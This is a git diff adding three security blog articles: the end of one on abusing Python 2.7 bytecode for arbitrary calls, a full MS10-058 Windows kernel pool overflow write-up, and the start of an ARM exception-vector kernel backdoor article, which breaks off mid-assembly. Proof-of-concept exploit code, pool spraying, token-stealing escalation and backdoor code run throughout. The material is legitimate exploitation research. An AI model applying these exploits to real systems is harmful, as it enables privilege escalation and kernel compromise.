+ chr(opcode.opmap['LOAD_CONST']) + '\xad\xde',
+ (), (), (), '', '', 0, ''
+)
+a()
+```
+
+..and as expected you get a fault (*oparg* is *edi*):
+
+```text
+(2058.2108): Access violation - code c0000005 (!!! second chance !!!)
+[...]
+eax=01cb1030 ebx=00000000 ecx=00000063 edx=00000046 esi=1e222c0c edi=beefdead
+eip=1e0ec5f7 esp=0027e7f8 ebp=0273a9f0 iopl=0 nv up ei ng nz na pe cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
+python27!PyEval_EvalFrameEx+0x347:
+1e0ec5f7 8b74b80c mov esi,dword ptr [eax+edi*4+0Ch] ds:002b:fd8a8af0=????????
+```
+
+By the way, some readers might have caught the same type of bug in *LOAD_FAST* with the *fastlocals* array ; those readers are definitely right :).
+
+# Walking through the PoC #
+OK, so if you look only at the faulting instruction you could say that the bug is minor and we won't be able to turn it into something "useful". But the essential piece when you want to exploit a software is to actually completely understand how it works. Then you are more capable of turning bugs that seems useless into interesting primitives.
+
+As we said several times, from Python code you can't really push any value you want onto the Python virtual stack, obviously. The machine is only dealing with Python objects. However, with this bug we can corrupt the virtual stack by pushing arbitrary data that we control. If you do that well, you can end up causing the Python VM to call whatever address you want. That's exactly what I did back when I wrote [python27_abuse_vm_to_execute_x86_code.py](https://github.com/0vercl0k/stuffz/blob/master/Python's%20internals/python27_abuse_vm_to_execute_x86_code.py).
+
+In Python we are really lucky because we can control a lot of things in memory and we have natively a way to "leak" (I shouldn't call that a leak though because it's a feature) the address of a Python object with the function *id*. So basically we can do stuff, we can do it reliably and we can manage to not break the interpreter, like bosses.
+
+## Pushing attacker-controlled data on the virtual stack ##
+We control *oparg* and the content of the tuple *consts*. We can also find out the address of that tuple. So we can have a Python string object that stores an arbitrary value, let's say *0xdeadbeef* and it will be pushed on the virtual stack.
+
+Let's do that in Python now:
+
+```python
+import opcode
+import types
+import struct
+
+def pshort(s):
+ return struct.pack('> 16
+low = offset & 0xffff
+print 'Consts tuple @%#.8x' % address_consts
+print 'Address of controled data @%#.8x' % address_s
+print 'Offset between const and our object: @%#.8x' % offset
+print 'Going to push [%#.8x] on the virtual stack' % (address_consts + (address_s - address_consts - 0xC) + 0xc)
+
+a.func_code = types.CodeType(
+ 0, 0, 0, 0,
+ chr(opcode.opmap['EXTENDED_ARG']) + pshort(high) +
+ chr(opcode.opmap['LOAD_CONST']) + pshort(low),
+ consts, (), (), '', '', 0, ''
+)
+a()
+```
+
+..annnnd..
+
+```text
+D:\>python 1.py
+Consts tuple @0x01db1030
+Address of controled data @0x022a0654
+Offset between const and our object: @0x0013bd86
+Going to push [0x022a0654] on the virtual stack
+
+*JIT debugger pops*
+
+eax=01db1030 ebx=00000000 ecx=00000063 edx=00000046 esi=deadbeef edi=0013bd86
+eip=1e0ec5fb esp=0027fc68 ebp=01e63fc0 iopl=0 nv up ei ng nz na pe cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
+python27!PyEval_EvalFrameEx+0x34b:
+1e0ec5fb ff06 inc dword ptr [esi] ds:002b:deadbeef=????????
+
+0:000> ub eip l1
+python27!PyEval_EvalFrameEx+0x347:
+1e0ec5f7 8b74b80c mov esi,dword ptr [eax+edi*4+0Ch]
+
+0:000> ? eax+edi*4+c
+Evaluate expression: 36308564 = 022a0654
+
+0:000> dd 022a0654 l1
+022a0654 deadbeef <- the data we control in our PyStringObject
+
+0:000> dps 022a0654-0n20 l2
+022a0640 00000003
+022a0644 1e226798 python27!PyString_Type
+```
+
+Perfect, we control a part of the virtual stack :).
+
+## Game over, LOAD_FUNCTION
+
+Once you control the virtual stack, the only limit is your imagination and the ability you have to find an interesting spot in the virtual machine. My idea was to use the *CALL_FUNCTION* opcode to craft a *PyFunctionObject* somehow, push it onto the virtual stack and to use the magic opcode.
+
+```c
+typedef struct {
+ PyObject_HEAD
+ PyObject *func_code; /* A code object */
+ PyObject *func_globals; /* A dictionary (other mappings won't do) */
+ PyObject *func_defaults; /* NULL or a tuple */
+ PyObject *func_closure; /* NULL or a tuple of cell objects */
+ PyObject *func_doc; /* The __doc__ attribute, can be anything */
+ PyObject *func_name; /* The __name__ attribute, a string object */
+ PyObject *func_dict; /* The __dict__ attribute, a dict or NULL */
+ PyObject *func_weakreflist; /* List of weak references */
+ PyObject *func_module; /* The __module__ attribute, can be anything */
+} PyFunctionObject;
+```
+
+The thing is, as we saw earlier, the virtual machine usually ensures the type of the object it handles. If the type checking fails, the function bails out and we are not happy, at all. It means we would need an information-leak to obtain a pointer to the PyFunction_Type static variable.
+
+Fortunately for us, the CALL_FUNCTION can still be abused without knowing that magic pointer to craft correctly our object. Let's go over the source code to illustrate my sayings:
+
+```c
+case CALL_FUNCTION:
+{
+ PyObject **sp;
+ PCALL(PCALL_ALL);
+ sp = stack_pointer;
+ x = call_function(&sp, oparg);
+
+static PyObject *
+call_function(PyObject ***pp_stack, int oparg)
+{
+ int na = oparg & 0xff;
+ int nk = (oparg>>8) & 0xff;
+ int n = na + 2 * nk;
+ PyObject **pfunc = (*pp_stack) - n - 1;
+ PyObject *func = *pfunc;
+ PyObject *x, *w;
+
+ if (PyCFunction_Check(func) && nk == 0) {
+ // ..Nope..
+ } else {
+ if (PyMethod_Check(func) && PyMethod_GET_SELF(func) != NULL) {
+ // ..Still Nope...
+ } else
+ if (PyFunction_Check(func))
+ // Nope!
+ else
+ x = do_call(func, pp_stack, na, nk);
+
+static PyObject *
+do_call(PyObject *func, PyObject ***pp_stack, int na, int nk)
+{
+ // ...
+ if (PyCFunction_Check(func)) {
+ // Nope
+ }
+ else
+ result = PyObject_Call(func, callargs, kwdict);
+
+PyObject *
+PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw)
+{
+ ternaryfunc call;
+
+ if ((call = func->ob_type->tp_call) != NULL) {
+ PyObject *result;
+ // Yay an interesting call :)
+ result = (*call)(func, arg, kw);
+```
+
+So basically the idea to use *CALL_FUNCTION* was a good one, but we will need to craft two different objects:
+
+1. The first one will be a *PyObject* with *ob_type* pointing to the second object
+2. The second object will be a *_typeobject* with *tp_call* the address you want to call
+
+This is fairly trivial to do and will give us an absolute-call primitive without crashing the interpreter: s.w.e.e.t.
+
+```python
+import opcode
+import types
+import struct
+
+def pshort(s):
+ return struct.pack('> 16) +
+ chr(opcode.opmap['LOAD_CONST']) + pshort(offset & 0xffff) +
+ chr(opcode.opmap['CALL_FUNCTION']) + pshort(0),
+ consts, (), (), '', '', 0, ''
+)
+a()
+```
+
+And we finally get our primitive working :-)
+
+```text
+(11d0.11cc): Access violation - code c0000005 (!!! second chance !!!)
+*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Python\Python275\python27.dll -
+eax=01cc1030 ebx=00000000 ecx=00422e78 edx=00000000 esi=deadbeef edi=02e62df4
+eip=deadbeef esp=0027e78c ebp=02e62df4 iopl=0 nv up ei ng nz na po cy
+cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010283
+deadbeef ?? ???
+```
+
+So now you know all the nasty things going under the hood with that [python27_abuse_vm_to_execute_x86_code.py](https://github.com/0vercl0k/stuffz/blob/master/Python's%20internals/python27_abuse_vm_to_execute_x86_code.py) script!
+
+# Conclusion, Ideas #
+After reading this little post you are now aware that if you want to sandbox efficiently Python, you should do it outside of Python and not by preventing the use of some modules or things like that: this is broken by design. The virtual machine is not safe enough to build a strong sandbox inside Python, so don't rely on such thing if you don't want to get surprised. An article about that exact same thing was written here if you are interested: [The failure of pysandbox](https://lwn.net/Articles/574215/).
+
+You also may want to look at [PyPy's sandboxing capability](http://pypy.org/features.html#sandboxing) if you are interested in executing untrusted Python code. Otherwise, you can build your own [SECCOMP](https://code.google.com/p/seccompsandbox/wiki/overview)-based system :).
+
+On the other hand, I had a lot of fun taking a deep dive into Python's source code and I hope you had some too! If you would like to know more about the low level aspects of Python here are a list of interesting posts:
+
+ * [Debugging Your Python With GDB (FTW!)](http://www.jmcneil.net/2012/04/debugging-your-python-with-gdb-ftw/)
+ * [The structure of .pyc files](http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html)
+ * [Bytecode: What, Why, and How to Hack it - Dr. Ryan F Kelly](https://www.youtube.com/watch?v=ve7lLHtJ9l8)
+ * [Self-modifying Python bytecode](https://github.com/0vercl0k/stuffz/blob/master/Python's%20internals/wildfire.py)
+ * [Python internals series](http://eli.thegreenplace.net/category/programming/python/python-internals/)
+
+Folks, that's all for today ; don't hesitate to contact us if you have a cool post!
diff --git a/content/articles/exploitation/2014-03-11-first-dip-into-the-kernel-pool-ms10-058.markdown b/content/articles/exploitation/2014-03-11-first-dip-into-the-kernel-pool-ms10-058.markdown
new file mode 100644
index 0000000..e93c8fd
--- /dev/null
+++ b/content/articles/exploitation/2014-03-11-first-dip-into-the-kernel-pool-ms10-058.markdown
@@ -0,0 +1,270 @@
+Title: First dip into the kernel pool : MS10-058
+Date: 2014-03-11 10:52:37 +0100
+Authors: Jeremy "__x86" Fetiveau
+Tags: reverse-engineering, exploitation, kernel pool, ms10-058, tcpip.sys
+Slug: first-dip-into-the-kernel-pool-ms10-058
+
+
+# Introduction
+
+I am currently playing with pool-based memory corruption vulnerabilities. That’s why I wanted to program a PoC exploit for the vulnerability presented by Tarjei Mandt during his first talk “Kernel Pool Exploitation on Windows 7” [[3]](http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf). I think it's a good exercise to start learning about pool overflows.
+
+
+
+[TOC]
+
+#Forewords
+
+If you want to experiment with this vulnerability, you should read [[1]](http://www.itsecdb.com/oval/definition/oval/gov.nist.USGCB.patch/def/11689/MS10-058-Vulnerabilities-in-TCP-IP-Could-Allow-Elevation-of.html) and be sure to have a vulnerable system. I tested my exploit on a VM with Windows 7 32 bits with tcpip.sys 6.1.7600.16385. The Microsoft bulletin dealing with this vulnerability is MS10-058. It has been found by Matthieu Suiche [[2]](http://technet.microsoft.com/fr-fr/security/bulletin/ms10-058) and was used as an example on Tarjei Mandt’s paper [[3]](http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf).
+
+#Triggering the flaw
+
+An integer overflow in *tcpip!IppSortDestinationAddresses* allows to allocate a wrong-sized non-paged pool memory chunk. Below you can see the diff between the vulnerable version and the patched version.
+
+

+
+So basically the flaw is merely an integer overflow that triggers a pool overflow.
+
+ :::text
+ IppSortDestinationAddresses(x,x,x)+29 imul eax, 1Ch
+ IppSortDestinationAddresses(x,x,x)+2C push esi
+ IppSortDestinationAddresses(x,x,x)+2D mov esi, ds:__imp__ExAllocatePoolWithTag@12
+ IppSortDestinationAddresses(x,x,x)+33 push edi
+ IppSortDestinationAddresses(x,x,x)+34 mov edi, 73617049h
+ IppSortDestinationAddresses(x,x,x)+39 push edi
+ IppSortDestinationAddresses(x,x,x)+3A push eax
+ IppSortDestinationAddresses(x,x,x)+3B push ebx
+ IppSortDestinationAddresses(x,x,x)+3C call esi ; ExAllocatePoolWithTag(x,x,x)
+
+You can reach this code using a *WSAIoctl* with the code *SIO_ADDRESS_LIST_SORT* using a call like this :
+
+ :::text
+ WSAIoctl(sock, SIO_ADDRESS_LIST_SORT, pwn, 0x1000, pwn, 0x1000, &cb, NULL, NULL)
+
+You have to pass the function a pointer to a *SOCKET_ADDRESS_LIST* (*pwn* in the example). This *SOCKET_ADDRESS_LIST* contains an *iAddressCount* field and *iAddressCount* *SOCKET_ADDRESS* structures. With a high *iAddressCount* value, the integer will wrap, thus triggering the wrong-sized allocation. We can almost write anything in those structures. There are only two limitations :
+
+ :::text
+ IppFlattenAddressList(x,x)+25 lea ecx, [ecx+ebx*8]
+ IppFlattenAddressList(x,x)+28 cmp dword ptr [ecx+8], 1Ch
+ IppFlattenAddressList(x,x)+2C jz short loc_4DCA9
+
+ IppFlattenAddressList(x,x)+9C cmp word ptr [edx], 17h
+ IppFlattenAddressList(x,x)+A0 jnz short loc_4DCA2
+
+The copy will stop if those checks fail. That means that each *SOCKET_ADDRESS* has a length of 0x1c and that each *SOCKADDR* buffer pointed to by the socket address begins with a 0x17 byte. Long story short :
+
+ * Make the multiplication at *IppSortDestinationAddresses+29* overflow
+ * Get a non-paged pool chunk at *IppSortDestinationAddresses+3e* that is too little
+ * Write user controlled memory to this chunk in *IppFlattenAddressList+67* and overflow as much as you want (provided that you take care of the 0x1c and 0x17 bytes)
+
+The code below should trigger a BSOD. Now the objective is to place an object after our vulnerable object and modify pool metadata.
+
+ :::text
+ WSADATA wd = {0};
+ SOCKET sock = 0;
+ SOCKET_ADDRESS_LIST *pwn = (SOCKET_ADDRESS_LIST*)malloc(sizeof(INT) + 4 * sizeof(SOCKET_ADDRESS));
+ DWORD cb;
+
+ memset(buffer,0x41,0x1c);
+ buffer[0] = 0x17;
+ buffer[1] = 0x00;
+ sa.lpSockaddr = (LPSOCKADDR)buffer;
+ sa.iSockaddrLength = 0x1c;
+ pwn->iAddressCount = 0x40000003;
+ memcpy(&pwn->Address[0],&sa,sizeof(_SOCKET_ADDRESS));
+ memcpy(&pwn->Address[1],&sa,sizeof(_SOCKET_ADDRESS));
+ memcpy(&pwn->Address[2],&sa,sizeof(_SOCKET_ADDRESS));
+ memcpy(&pwn->Address[3],&sa,sizeof(_SOCKET_ADDRESS));
+
+ WSAStartup(MAKEWORD(2,0), &wd)
+ sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
+ WSAIoctl(sock, SIO_ADDRESS_LIST_SORT, pwn, 0x1000, pwn, 0x1000, &cb, NULL, NULL)
+
+#Spraying the pool
+##Non paged objects
+
+There are several objects that we could easily use to manipulate the non-paged pool. For instance we could use semaphore objects or reserve objects.
+
+ :::text
+ *8516b848 size: 48 previous size: 48 (Allocated) Sema
+ *85242d08 size: 68 previous size: 68 (Allocated) User
+ *850fcea8 size: 60 previous size: 8 (Allocated) IoCo
+
+We are trying to overflow a pool chunk with a size being a multiple of 0x1c. As 0x1c\*3=0x54, the driver is going to request 0x54 bytes and being therefore given a chunk of 0x60 bytes. This is exactly the size of an I/O completion reserve object. To allocate a IoCo, we just need to call *NtAllocateReserveObject* with the object type IOCO. To deallocate the IoCo, we could simply close the associate the handle. Doing this would make the object manager release the object. For more in-depth information about reserve objects, you can read j00ru’s article [[4]](http://magazine.hitb.org/issues/HITB-Ezine-Issue-003.pdf).
+
+In order to spray, we are first going to allocate a lot of IoCo without releasing them so as to fill existing holes in the pool. After that, we want to allocate IoCo and make holes of 0x60 bytes. This is illustrated in the *sprayIoCo()* function of my PoC. Now we are able have an IoCo pool chunk following an Ipas pool chunk (as you might have noticed, ‘Ipas’ is the tag used by the tcpip driver). Therefore, we can easily corrupt its pool header.
+
+##nt!PoolHitTag
+
+If you want to debug a specific call to *ExFreePoolWithTag* and simply break on it you’ll see that there are way too much frees (and above all, this is very slow when kernel debugging). A simple approach to circumvent this issue is to use pool hit tags.
+
+ :::text
+ ExFreePoolWithTag(x,x)+62F and ecx, 7FFFFFFFh
+ ExFreePoolWithTag(x,x)+635 mov eax, ebx
+ ExFreePoolWithTag(x,x)+637 mov ebx, ecx
+ ExFreePoolWithTag(x,x)+639 shl eax, 3
+ ExFreePoolWithTag(x,x)+63C mov [esp+58h+var_28], eax
+ ExFreePoolWithTag(x,x)+640 mov [esp+58h+var_2C], ebx
+ ExFreePoolWithTag(x,x)+644 cmp ebx, _PoolHitTag
+ ExFreePoolWithTag(x,x)+64A jnz short loc_5180E9
+ ExFreePoolWithTag(x,x)+64C int 3 ; Trap to Debugger
+
+As you can see on the listing above, *nt!PoolHitTag* is compared against the pool tag of the currently freed chunk. Notice the mask : it allows you to use the raw tag. (for instance ‘oooo’ instead of 0xef6f6f6f) By the way, you are not required to use the genuine tag. (eg : you can use ‘ooo’ for ‘IoCo’) Now you know that you can *ed nt!PoolHitTag ‘oooo’* to debug your exploit.
+
+#Exploitation technique
+##Basic structure
+
+As the internals of the pool are thoroughly detailed in Tarjei Mandt’s paper [[3]](http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf), I will only be giving a glimpse at the pool descriptor and the pool header structures. The pool memory is divided into several types of pool. Two of them are the paged pool and the non-paged pool. A pool is described by a *_POOL_DESCRIPTOR* structure as seen below.
+
+ :::text
+ 0: kd> dt _POOL_TYPE
+ ntdll!_POOL_TYPE
+ NonPagedPool = 0n0
+ PagedPool = 0n1
+ 0: kd> dt _POOL_DESCRIPTOR
+ nt!_POOL_DESCRIPTOR
+ +0x000 PoolType : _POOL_TYPE
+ +0x004 PagedLock : _KGUARDED_MUTEX
+ +0x004 NonPagedLock : Uint4B
+ +0x040 RunningAllocs : Int4B
+ +0x044 RunningDeAllocs : Int4B
+ +0x048 TotalBigPages : Int4B
+ +0x04c ThreadsProcessingDeferrals : Int4B
+ +0x050 TotalBytes : Uint4B
+ +0x080 PoolIndex : Uint4B
+ +0x0c0 TotalPages : Int4B
+ +0x100 PendingFrees : Ptr32 Ptr32 Void
+ +0x104 PendingFreeDepth : Int4B
+ +0x140 ListHeads : [512] _LIST_ENTRY
+
+A pool descriptor references free memory in a free list called *ListHeads*. The *PendingFrees* field references chunks of memory waiting to be freed to the free list. Pointers to pool descriptor structures are stored in arrays such as *PoolVector* (non-paged) or *ExpPagedPoolDescriptor* (paged). Each chunk of memory contains a header before the actual data. This is the *_POOL_HEADER*. It brings information such as the size of the block or the pool it belongs to.
+
+ :::text
+ 0: kd> dt _POOL_HEADER
+ nt!_POOL_HEADER
+ +0x000 PreviousSize : Pos 0, 9 Bits
+ +0x000 PoolIndex : Pos 9, 7 Bits
+ +0x002 BlockSize : Pos 0, 9 Bits
+ +0x002 PoolType : Pos 9, 7 Bits
+ +0x000 Ulong1 : Uint4B
+ +0x004 PoolTag : Uint4B
+ +0x004 AllocatorBackTraceIndex : Uint2B
+ +0x006 PoolTagHash : Uint2B
+
+##PoolIndex overwrite
+
+The basic idea of this attack is to corrupt the *PoolIndex* field of a pool header. This field is used when deallocating paged pool chunks in order to know which pool descriptor it belongs to. It is used as an index in an array of pointers to pool descriptors. Thus, if an attacker is able to corrupt it, he can make the pool manager believe that a specific chunk belongs to another pool descriptor. For instance, one could reference a pool descriptor out of the bounds of the array.
+
+ :::text
+ 0: kd> dd ExpPagedPoolDescriptor
+ 82947ae0 84835000 84836140 84837280 848383c0
+ 82947af0 84839500 00000000 00000000 00000000
+
+As there are always some null pointers after the array, it could be used to craft a fake pool descriptor in a user-allocated null page.
+
+##Non paged pool type
+
+To determine the *_POOL_DESCRIPTOR* to use, *ExFreePoolWithTag* gets the appropriate *_POOL_HEADER* and stores *PoolType* (*watchMe*) and *BlockSize* (*var_3c*)
+
+ :::text
+ ExFreePoolWithTag(x,x)+465
+ ExFreePoolWithTag(x,x)+465 loc_517F01:
+ ExFreePoolWithTag(x,x)+465 mov edi, esi
+ ExFreePoolWithTag(x,x)+467 movzx ecx, word ptr [edi-6]
+ ExFreePoolWithTag(x,x)+46B add edi, 0FFFFFFF8h
+ ExFreePoolWithTag(x,x)+46E movzx eax, cx
+ ExFreePoolWithTag(x,x)+471 mov ebx, eax
+ ExFreePoolWithTag(x,x)+473 shr eax, 9
+ ExFreePoolWithTag(x,x)+476 mov esi, 1FFh
+ ExFreePoolWithTag(x,x)+47B and ebx, esi
+ ExFreePoolWithTag(x,x)+47D mov [esp+58h+var_40], eax
+ ExFreePoolWithTag(x,x)+481 and eax, 1
+ ExFreePoolWithTag(x,x)+484 mov edx, 400h
+ ExFreePoolWithTag(x,x)+489 mov [esp+58h+var_3C], ebx
+ ExFreePoolWithTag(x,x)+48D mov [esp+58h+watchMe], eax
+ ExFreePoolWithTag(x,x)+491 test edx, ecx
+ ExFreePoolWithTag(x,x)+493 jnz short loc_517F49
+
+Later, if *ExpNumberOfNonPagedPools* equals 1, the correct pool descriptor will directly be taken from *nt!PoolVector[0]*. The PoolIndex is not used.
+
+ :::text
+ ExFreePoolWithTag(x,x)+5C8 loc_518064:
+ ExFreePoolWithTag(x,x)+5C8 mov eax, [esp+58h+watchMe]
+ ExFreePoolWithTag(x,x)+5CC mov edx, _PoolVector[eax*4]
+ ExFreePoolWithTag(x,x)+5D3 mov [esp+58h+var_48], edx
+ ExFreePoolWithTag(x,x)+5D7 mov edx, [esp+58h+var_40]
+ ExFreePoolWithTag(x,x)+5DB and edx, 20h
+ ExFreePoolWithTag(x,x)+5DE mov [esp+58h+var_20], edx
+ ExFreePoolWithTag(x,x)+5E2 jz short loc_5180B6
+
+
+ ExFreePoolWithTag(x,x)+5E8 loc_518084:
+ ExFreePoolWithTag(x,x)+5E8 cmp _ExpNumberOfNonPagedPools, 1
+ ExFreePoolWithTag(x,x)+5EF jbe short loc_5180CB
+
+ ExFreePoolWithTag(x,x)+5F1 movzx eax, word ptr [edi]
+ ExFreePoolWithTag(x,x)+5F4 shr eax, 9
+ ExFreePoolWithTag(x,x)+5F7 mov eax, _ExpNonPagedPoolDescriptor[eax*4]
+ ExFreePoolWithTag(x,x)+5FE jmp short loc_5180C7
+
+Therefore, you have to make the pool manager believe that the chunk is located in paged memory.
+
+##Crafting a fake pool descriptor
+
+As we want a fake pool descriptor at null address. We just allocate this page and put a fake deferred free list and a fake ListHeads.
+
+When freeing a chunk, if the deferred freelist contains at least 0x20 entries, *ExFreePoolWithTag* is going to actually free those chunks and put them on the appropriate entries of the *ListHeads*.
+
+ :::c
+ *(PCHAR*)0x100 = (PCHAR)0x1208;
+ *(PCHAR*)0x104 = (PCHAR)0x20;
+ for (i = 0x140; i < 0x1140; i += 8) {
+ *(PCHAR*)i = (PCHAR)WriteAddress-4;
+ }
+ *(PINT)0x1200 = (INT)0x060c0a00;
+ *(PINT)0x1204 = (INT)0x6f6f6f6f;
+ *(PCHAR*)0x1208 = (PCHAR)0x0;
+ *(PINT)0x1260 = (INT)0x060c0a0c;
+ *(PINT)0x1264 = (INT)0x6f6f6f6f;
+
+##Notes
+
+It is interesting to note that this attack would not work with modern mitigations. Here are a few reasons :
+
+ * Validation of the *PoolIndex* field
+ * Prevention of the null page allocation
+ * *NonPagedPoolNX* has been introduced with Windows 8 and should be used instead of the *NonPagedPool* type.
+ * SMAP would prevent access to userland data
+ * SMEP would prevent execution of userland code
+
+#Payload and clean-up
+
+A classical target for write-what-where scenarios is the *HalDispatchTable*. We just have to overwrite *HalDispatchTable+4* with a pointer to our payload which is *setupPayload()*. When we are done, we just have to put back the pointer to *hal!HaliQuerySystemInformation*. (otherwise you can expect some crashes)
+
+Now that we are able to execute arbitrary code from kernel land we just have to get the *_EPROCESS* of the attacking process with *PsGetCurrentProcess()* and walk the list of processes using the *ActiveProcessLinks* field until we encounter a process with *ImageFileName* equal to “System”. Then we just replace the access token of the attacker process by the one of the system process. Note that the lazy author of this exploit hardcoded several offsets :).
+
+This is illustrated in *payload()*.
+
+
+#Greetings
+
+Special thanks to my friend [@0vercl0k](https://twitter.com/0vercl0k) for his review and help!
+
+#Conclusion
+
+I hope you enjoyed this article. If you want to know more about the topic, check out the latest papers of Tarjei Mandt, Zhenhua Liu and Nikita Tarakanov. (or wait for other articles ;) )
+
+You can find my code on my new github [[5]](https://github.com/JeremyFetiveau/Exploits/blob/master/MS10-058.cpp). Don’t hesitate to share comments on my article or my exploit if you see something wrong :)
+
+#References
+
+[1] [Vulnerability details on itsecdb](http://www.itsecdb.com/oval/definition/oval/gov.nist.USGCB.patch/def/11689/MS10-058-Vulnerabilities-in-TCP-IP-Could-Allow-Elevation-of.html)
+
+[2] [MS bulletin](http://technet.microsoft.com/fr-fr/security/bulletin/ms10-058)
+
+[3] [Kernel Pool Exploitation on Windows 7](http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf) - Tarjei Mandt's paper. A must-read!
+
+[4] [Reserve Objects in Windows 7](http://magazine.hitb.org/issues/HITB-Ezine-Issue-003.pdf) - Great j00ru's article!
+
+[5] [The code of my exploit for MS10-058](https://github.com/JeremyFetiveau/Exploits/blob/master/MS10-058.cpp)
+
diff --git a/content/articles/exploitation/2014-04-30-corrupting-arm-evt.markdown b/content/articles/exploitation/2014-04-30-corrupting-arm-evt.markdown
new file mode 100644
index 0000000..64398d0
--- /dev/null
+++ b/content/articles/exploitation/2014-04-30-corrupting-arm-evt.markdown
@@ -0,0 +1,233 @@
+Title: Corrupting the ARM Exception Vector Table
+Date: 2014-04-30 21:01
+Tags: exploitation, kernel
+Authors: Amat "acez" Cama
+Slug: corrupting-arm-evt
+
+
+Introduction
+============
+A few months ago, I was writing a Linux kernel exploitation challenge on ARM in an attempt to learn about kernel exploitation and I thought I'd explore things a little. I chose the ARM architecture mainly because I thought it would be fun to look at. This article is going to describe how the ARM Exception Vector Table (EVT) can aid in kernel exploitation in case an attacker has a write what-where primitive. It will be covering a local exploit scenario as well as a remote exploit scenario. Please note that corrupting the EVT has been mentioned in the paper "Vector Rewrite Attack"[[1]](http://cansecwest.com/slides07/Vector-Rewrite-Attack.pdf), which briefly talks about how it can be used in NULL pointer dereference vulnerabilities on an ARM RTOS.
+
+The article is broken down into two main sections. First a brief description of the ARM EVT and its implications from an exploitation point of view (please note that a number of things about the EVT will be omitted to keep this article relatively short). We will go over two examples showing how we can abuse the EVT.
+
+I am assuming the reader is familiar with Linux kernel exploitation and knows some ARM assembly (seriously).
+
+
+
+[TOC]
+
+ARM Exceptions and the Exception Vector Table
+=============================================
+In a few words, the EVT is to ARM what the IDT is to x86. In the ARM world, an exception is an event that causes the CPU to stop or pause from executing the current set of instructions. When this exception occurs, the CPU diverts execution to another location called an exception handler. There are 7 exception types and each exception type is associated with a mode of operation. Modes of operation affect the processor's "permissions" in regards to system resources. There are in total 7 modes of operation. The following table maps some exception types to their associated modes of operation:
+
+```text
+Exception | Mode | Description
+----------------------------|-----------------------|-------------------------------------------------------------------
+Fast Interrupt Request | FIQ | interrupts requiring fast response and low latency.
+Interrupt Request | IRQ | used for general-purpose interrupt handling.
+Software Interrupt or RESET | Supervisor Mode | protected mode for the operating system.
+Prefetch or Data Abort | Abort Mode | when fetching data or an instruction from invalid/unmmaped memory.
+Undefined Instruction | Undefined Mode | when an undefined instruction is executed.
+```
+
+The other two modes are User Mode which is self explanatory and System Mode which is a privileged user mode for the operating system
+
+## The Exceptions
+The exceptions change the processor mode and each exception has access to a set of *banked* registers. These can be described as a set of registers that exist only in the exception's context so modifying them will not affect the banked registers of another exception mode. Different exception modes have different banked registers:
+
+
+
+## The Exception Vector Table
+The vector table is a table that actually contains control transfer instructions that jump to the respective exception handlers. For example, when a software interrupt is raised, execution is transfered to the software interrupt entry in the table which in turn will jump to the syscall handler. Why is the EVT so interesting to target? Well because it is loaded at a known address in memory and it is writeable\* and executable. On 32-bit ARM Linux this address is **0xffff0000**. Each entry in the EVT is also at a known offset as can be seen on the following table:
+
+```text
+Exception | Address
+----------------------------|-----------------------
+Reset | 0xffff0000
+Undefined Instruction | 0xffff0004
+SWI | 0xffff0008
+Prefetch Abort | 0xffff000c
+Data Abort | 0xffff0010
+Reserved | 0xffff0014
+IRQ | 0xffff0018
+FIQ | 0xffff001c
+```
+
+### A note about the Undefined Instruction exception
+Overwriting the Undefiend Instruction vector seems like a great plan but it actually isn't because it is used by the kernel. *Hard float* and *Soft float* are two solutions that allow emulation of floating point instructions since a lot of ARM platforms do not have hardware floating point units. With soft float, the emulation code is added to the userspace application at compile time. With hard float, the kernel lets the userspace application use the floating point instructions as if the CPU supported them and then using the Undefined Instruction exception, it emulates the instruction inside the kernel.
+
+If you want to read more on the EVT, checkout the references at the bottom of this article, or google it.
+
+Corrupting the EVT
+==================
+There are few vectors we could use in order to obtain privileged code execution. Clearly, overwriting any vector in the table could potentially lead to code execution, but as the lazy people that we are, let's try to do the least amount of work. The easiest one to overwrite seems to be the Software Interrupt vector. It is executing in process context, system calls go through there, all is well. Let's now go through some PoCs/examples. All the following examples have been tested on Debian 7 ARMel 3.2.0-4-versatile running in qemu.
+
+## Local scenario
+The example vulnerable module implements a char device that has a pretty blatant arbitrary-write vulnerability( or is it a feature?):
+
+```c
+// called when 'write' system call is done on the device file
+static ssize_t on_write(struct file *filp,const char *buff,size_t len,loff_t *off)
+{
+ size_t siz = len;
+ void * where = NULL;
+ char * what = NULL;
+
+ if(siz > sizeof(where))
+ what = buff + sizeof(where);
+ else
+ goto end;
+
+ copy_from_user(&where, buff, sizeof(where));
+ memcpy(where, what, sizeof(void *));
+
+end:
+ return siz;
+}
+```
+
+Basically, with this cool and realistic vulnerability, you give the module an address followed by data to write at that address.
+Now, our plan is going to be to backdoor the kernel by overwriting the SWI exception vector with code that jumps to our backdoor code. This code will check for a magic value in a register (say r7 which holds the syscall number) and if it matches, it will elevate the privileges of the calling process. Where do we store this backdoor code ? Considering the fact that we have an arbitrary write to kernel memory, we can either store it in userspace or somewhere in kernel space. The good thing about the latter choice is that if we choose an appropriate location in kernel space, our code will exist as long as the machine is running, whereas with the former choice, as soon as our user space application exits, the code is lost and if the entry in the EVT isn't set back to its original value, it will most likely be pointing to invalid/unmmapped memory which will crash the system. So we need a location in kernel space that is executable and writeable. Where could this be ? Let's take a closer look at the EVT:
+
+As expected we see a bunch of control transfer instructions but one thing we notice about them is that "closest" referenced address is *0xffff0200*. Let's take a look what is between the end of the EVT and 0xffff0200:
+
+It looks like nothing is there so we have around 480 bytes to store our backdoor which is more than enough.
+
+### The Exploit
+Recapitulating our exploit:
+ 1. Store our backdoor at *0xffff0020*.
+ 2. Overwrite the SWI exception vector with a branch to *0xffff0020*.
+ 3. When a system call occurs, our backdoor will check if r7 == 0xb0000000 and if true, elevate the privileges of the calling process otherwise jump to the normal system call handler.
+Here is the backdoor's code:
+
+```text
+;check if magic
+ cmp r7, #0xb0000000
+ bne exit
+
+elevate:
+ stmfd sp!,{r0-r12}
+
+ mov r0, #0
